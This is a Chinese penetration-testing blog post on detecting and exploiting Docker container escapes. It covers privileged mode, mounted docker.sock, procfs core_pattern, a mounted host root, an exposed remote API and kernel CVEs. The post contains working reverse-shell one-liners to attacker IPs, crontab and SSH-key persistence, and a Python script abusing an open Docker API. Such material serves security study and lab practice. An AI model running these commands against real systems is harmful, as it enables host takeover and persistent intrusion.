Skip to content

Latest commit

 

History

History
351 lines (205 loc) · 12.8 KB

[千寻安服]-2023-3-24-实战下的Docker逃逸.md

File metadata and controls

351 lines (205 loc) · 12.8 KB

实战下的Docker逃逸

原创 Cupid 千寻安服

千寻安服

微信号 scaf_0123

功能介绍 来自于一个专业滴安全服务团队的技术和例行日常分享。


__发表于

收录于合集

0x00背景&介绍

曾经多次getshell,在看到.dockerenv出现在根目录下,心都凉了半截。但是还是要尽力去尝试,万一逃逸出来了呢?万一不用逃逸Docker就通内网?下面简单总结下实战下如何检测和利用存在Docker逃逸。

读一大堆文章和云安全的书籍,大致把逃逸的类型分为以下三类:

  1. 不安全的配置

  2. 相关程序漏洞

  3. 内核漏洞

然后下面主要列举一些真正能用上的,检测是否能逃逸的,这儿解释一下能够造成docker逃逸的漏洞很多,比如我也复现过docker- runC逃逸(CVE-2019-5736),这个洞最后利用成功不仅需要docker的使用者使用docker exec进入容器,而且写入的runc还会使得原来的docker-runc出现异常,这种漏洞不建议在实战中使用。

0x01判断是否为容器环境

判断的方法有很多种,这儿只列举一些比较快速识别的。

ls -al /

ps -aux 如果使用ps -aux一页就看完了那多半是docker了,因为docker本身是一个删减版的服务器,很多进程不需要启动的他就没有,因而ps -aux看着就很少。whereis 常用的命令比如如下(docker不需要那么多linux管理命令,所以一查whereis,这常用命令压根没有大概率docker):mount 这个做参考,因为我在物理服务器上执行也有overlay这一项,但默认不会显示在第一行,所以显示在第一行大概率docker:cat /proc/1/cgroup cgroup是实现docker资源控制的组件,因而你查看这个东西看到的全是docker,以下为docker:物理机执行:还有很多检测方法,比如ip a看到的ip是172.17开头的,env中有k8s信息,df-h也有k8s信息等,就不一一再列出了。

0x02逃逸尝试-不安全的配置

以下命令参考自TeamsSix的文章。详情看文末参考链接。

** 1、特权模式**

特权容器启动时,容器本身具有很高的权限。

怎样才是特权模式启动的?

如果容器使用docker run --privileged启动时候,就会允许容器内的root拥有外部root机的权限,Docker容器就被允许访问主机上的所有设备,因而可以执行mount命令进行挂载。

** a.检测**

执行以下命令,如果返回 Is privileged mode 则说明当前是特权模式

cat /proc/self/status | grep -qi "0000003fffffffff" && echo "Is privileged mode" || echo "Not privileged mode"

如果返回 Not privileged mode 则说明当前不是特权模式

还有关于K8S的判断:

在pod的yaml配置中添加如下配置时,也会以特权模式启动容器:

securityContext:
privileged: true

** b.漏洞复现**

下面用我的ubuntu为例:

启了一个tomcat任意文件上传环境,然后传个冰蝎:

然后冰蝎连上去,确实是docker环境:查看磁盘文件fdisk -l:可以检测一下,确实是特权模式:那么可以直接将宿主机的/dev/sda1目录挂载到容器内的目录中。

先创建test目录,然后mount直接挂载:可以看到已经获取到宿主机的目录,接下来可以直接写定时任务反弹shell脚本:

touch /test/tmp/test.sh
chmod +x /test/tmp/test.sh
echo "#!/bin/bash" >> /test/tmp/test.sh
echo "/bin/bash -i >& bash -i >& /dev/tcp/192.168.43.133/8888 0>&1" >> /test/tmp/test.sh
或者
echo "bash -i >& /dev/tcp/192.168.43.133/8888 0>&1" >> /test/tmp/test.sh
或者
sed -i '$a/bin/bash -i >& bash -i >& /dev/tcp/192.168.32.128/13122 0>&1' /test/tmp/test.sh
sed -i '$a/bin/bash -i >& bash -i >& /dev/tcp/192.168.227.46/13122 0>&1' /test/tmp/test.sh
cat /test/tmp/test.sh
写入定时任务:
sed -i '$a*/2 * * * * root bash /tmp/test.sh ' /test/etc/crontab
cat /test/etc/crontab

然后测试发现冰蝎的命令行有些小问题,弹个shell到kali上继续操作:

写好计划任务后,kali监听:已经逃逸出来了。 ** **


** 2、挂载 Docker Socket**

Docker Socket 用来与守护进程通信即查询信息或者下发命令。docker cli默认通过unix套接字与容器进行通信以及下发指令,当挂载了/var/run/docker.sock文件时,就可以对这个unix套接字文件下发docker指令,就像在node机器上操纵docker一样。



** a.检测**

执行以下命令,如果返回 Docker Socket is mounted. 说明当前挂载了 Docker Socket

ls /var/run/ | grep -qi docker.sock && echo "Docker Socket is mounted." || echo "Docker Socket is not mounted."

如果返回 Docker Socket is not mounted. 则说明没有挂载 ** b.漏洞复现**

不是很想复现这个洞,太套娃了,挂载了docker.sock后,docker里面再操作docker。

启动环境(其中-v -v /var/run/docker.sock:/var/run/docker.sock就是挂载docker.sock):

docker run -itd --name cent_with_docker_sock -v /var/run/docker.sock:/var/run/docker.sock centos:7

检测一下是否挂载:

直接使用cdk的docker-sock模块进行利用:

./cdk_linux_amd64 run docker-sock-pwn /var/run/docker.sock "touch /host/tmp/pwn-success"

命令执行成功:

** 3、挂载 procfs**

漏洞原理:从 2.6.19 内核版本开始,Linux 支持在 /proc/sys/kernel/core_pattern 中使用新语法。这个文件是负责进程奔溃时内存数据转储的,如果该文件中的首个字符是管道符 | ,那么该行的剩余内容将被当作用户空间程序或脚本解释并执行。并且由于容器共享主机内核的原因,这个命令是以宿主机的权限运行的。 ** **


** a.检测**

执行以下命令,如果返回 Procfs is mounted. 说明当前挂载了 procfs

find / -name core_pattern 2>/dev/null | wc -l | grep -q 2 && echo "Procfs is mounted." || echo "Procfs is not mounted."

如果返回 Procfs is not mounted. 则说明没有挂载 ** b.漏洞复现**

实战中可以直接用cdk工具进行利用,方便省时。

从容器中下载工具的话可以简单判断下当前环境支持的脚本类型,例如默认ubuntu支持perl:

use LWP::Simple;
getstore("http://192.168.174.1:1234/cdk","cdk");

当然一般我们都打进容器了,肯定得有个webshell啥的直接用这些工具上传也可以。

本地挂载profs命令启动docker:

docker run -v /proc:/host_proc --rm -it ubuntu bash

判断一下:

然后在自己的攻击VPS上启动监听,把CDK搞到docker里面执行如下命令:

chmod +x cdk_linux_amd64
./cdk_linux_amd64 run mount-procfs /host_proc "bash -i >& /dev/tcp/vpsip/7777 0>&1"

收到反弹回来的宿主机的shell: ** 4、挂载宿主机根目录** ** **


** a.检测**

执行以下命令,如果返回 Root directory is mounted. 则说明宿主机目录被挂载

find / -name passwd 2>/dev/null | grep /etc/passwd | wc -l | grep -q 7 && echo "Root directory is mounted." || echo "Root directory is not mounted."

如果返回 Root directory is not mounted. 则说明没有挂载利用思路:根目录都被挂载了。直接计划任务,ssh写就完事了,就不复现了。 ** **


** 5、Docker remote api 未授权访问** ** **


** a.检测**

执行以下命令,如果返回 Docker Remote API Is Enabled. 说明目标存在 Docker remote api 未授权访问

IP=hostname -i | awk -F. '{print $1 "." $2 "." $3 ".1"}' && timeout 3 bash -c "echo >/dev/tcp/$IP/2375" > /dev/null 2>&1 && echo "Docker Remote API Is Enabled." || echo "Docker Remote API is Closed."

如果返回 Docker Remote API is Closed. 则表示目标不存在 Docker remote api 未授权访问 ** b.漏洞复现**

b1:写入计划任务反弹shell

BEN机搭建了一个环境:验证是否存在:

docker -H tcp://192.168.43.145 ps -a

如果存在就会看到目标的docker容器列表:

哎呀。这个vulhub的下面没有。

远程查看存在的镜像:

docker -H tcp://192.168.43.145 images

docker H tcp://...:2375 run -it-v /:/mnt imagelD /bin/bash

shell脚本:

import docker

client = docker.DockerClient(base_url='http://192.168.43.145:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '*/1 * * * * /usr/bin/nc 192.168.43.133 8888 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})

在kali上直接执行脚本,等一段时间shell就回来了:

这儿原理(其实就是解释python脚本编写思路:Docker随意启动一个容器(这里是远程连接让目标机器启动,不是自己本地启动容器),并将宿主机的 /etc 目录挂载到容器中,便可以任意读写文件了。可以将命令写入 crontab 配置文件,进行反弹shell。)

b2.也可以直接写.ssh密钥来得快些:

下面是打ichunqiu的靶场中遇到的,直接写ssh如下:

docker -H tpc://47.92.6.145:2375 images
docker -H tcp://47.92.6.145:2375 run -it -v /:/mnt --entrypoiont /bin/bash ubuntu:18.04
ssh-keygen -t rsa (在自己攻击机上生成)
cd /mnt/root/.ssh
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDWn5r11i1qX75uejYftnvxuo9VD+i8Y/V1XSxqm4z3zgCRdvO1lyaE+sY4eR6UN8MU5MpkqhT6duQ7saKDsSVYuhRWrbl7ZISRNzDZ728Q6QgAjysOlmcMbNWwS6V1ibSM8qGozQoSRXmbdzvA4J8j+UqiQ0DkBOUjyhvc2dUqEeSX7hAW8fyeTsMDmzySRWsIg7SRNW1Yp3PZsogeqpKVohoa8BWWfay4VXWBZgU6z9Nd21NIqGI32WkYw7Df/RdGXtUKDPyD8hRlpi5wXHjUR/z7ogvCR2XBu8VTKAvesmf/mR1psBUiaOWYyYgTs4hXbDok5um3nrWnUgt54FB9 root@VM-12-8-centos" >>authorized_keys

然后本地直接使用id_rsa直接登录上宿主机服务器。

0x03相关程序漏洞

在teamsSix文章中提到过「相关程序漏洞」这种逃逸方法需要根据目标 Docker 的版本去判断。

目前在容器内部还无法判断Docker版本(不知道咋判断,知道的大佬可以教教),因而并不适用于实战,此处不再列出。

0x04内核漏洞

以下漏洞可以使用如下脚本进行检测:

git clone https://github.com/teamssix/container-escape-check.git

1、CVE-2016-5195 DirtyCow 逃逸

执行 uname -r 命令,如果在 2.6.22 <= 版本 <= 4.8.3 之间说明可能存在 CVE-2016-5195 DirtyCow 漏洞。

2、CVE-2020-14386

执行 uname -r 命令,如果在 4.6 <= 版本 < 5.9 之间说明可能存在 CVE-2020-14386 漏洞。

3、CVE-2022-0847 DirtyPipe 逃逸

执行 uname -r 命令,如果在 5.8 <= 版本 < 5.10.102 < 版本 < 5.15.25 < 版本 < 5.16.11 之间说明可能存在 CVE-2022-0847 DirtyPipe 漏洞。

0x05从CDK工具理解逃逸

这一章纯属个人爱好,大家不感兴趣可直接浏览结束。

以下以cdk中的procfs的代码利用为例:

首先是我们利用的一行命令:./cdk_linux_amd64 run mount-procfs /host_proc "bash -i >& /dev/tcp/vpsip/7777 0>&1"

可以看到使用的是mount-procfs模块如下:

获取其在宿主机里的绝对路径的函数:导致进程崩溃的函数:导致崩溃的原因:空指针赋值不会崩溃,输出空指针会导致崩溃。这儿只需要让其产生段错误,也就是对空指针赋值就会出现段错误。

拼接workdir,并且写入core_pattern中,并以管道符|开头的路径:运行段错误程序:简单总结一下编写这个procfs逃逸脚本的思路:

1.在容器中先获取容器中的路径在宿主机中的绝对路径:

cat /proc/self/mounts获取到workdir

2.然后是书写会导致系统出现段错误的代码:给空指针赋值

3.将反弹shell的命令写入一个文件并拼接上第一步获取的workdir。

4.将这个恶意的绝对路径的文件前面拼接上管道符|然后送入 /proc/sys/kernel/core_pattern文件中。

5.运行那段导致系统出现段错误的程序,这个时候负责进程崩溃的core_pattern就执行了管道符|后面我们的在宿主机绝对路径下的恶意反弹shell的文件。

0x06收尾

总结一下,打入docker不要怕,先挨个儿检测一下,这个不行那个不行,嗨~,建议换个外网入口点。

参考文章:

https://zone.huoxian.cn/d/990/2

https://zhuanlan.zhihu.com/p/473178565

https://www.kingkk.com/2021/01/%E9%85%8D%E7%BD%AE%E4%B8%8D%E5%BD%93%E5%AF%BC%E8%87%B4%E7%9A%84%E5%AE%B9%E5%99%A8%E9%80%83%E9%80%B8/

**END
** 监制:船长、铁子 策划:AST 文案:Cupid 美工:青柠

预览时标签不可点

微信扫一扫
关注该公众号

知道了

微信扫一扫
使用小程序


取消 允许


取消 允许

: , 。 视频 小程序 赞 ,轻点两下取消赞 在看 ,轻点两下取消在看